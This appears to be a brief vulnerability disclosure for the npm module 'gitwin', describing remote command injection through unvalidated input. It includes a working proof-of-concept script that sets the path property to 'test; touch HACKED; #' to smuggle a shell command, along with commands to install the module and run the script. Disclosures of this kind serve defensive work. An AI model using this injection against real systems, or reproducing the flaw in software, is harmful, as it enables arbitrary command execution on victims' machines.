The gitwin
module is vulnerable against RCE
since a command is crafted using user inputs
not validated and then executed, leading to arbitrary command injection
// poc.js
var _gitwin = require('gitwin');
var gitwin = new _gitwin();
gitwin.path = "test; touch HACKED; #";
gitwin.pull();
HACKED
npm i gitwin # Install affected module
node poc.js # Run the PoC
HACKED
has been created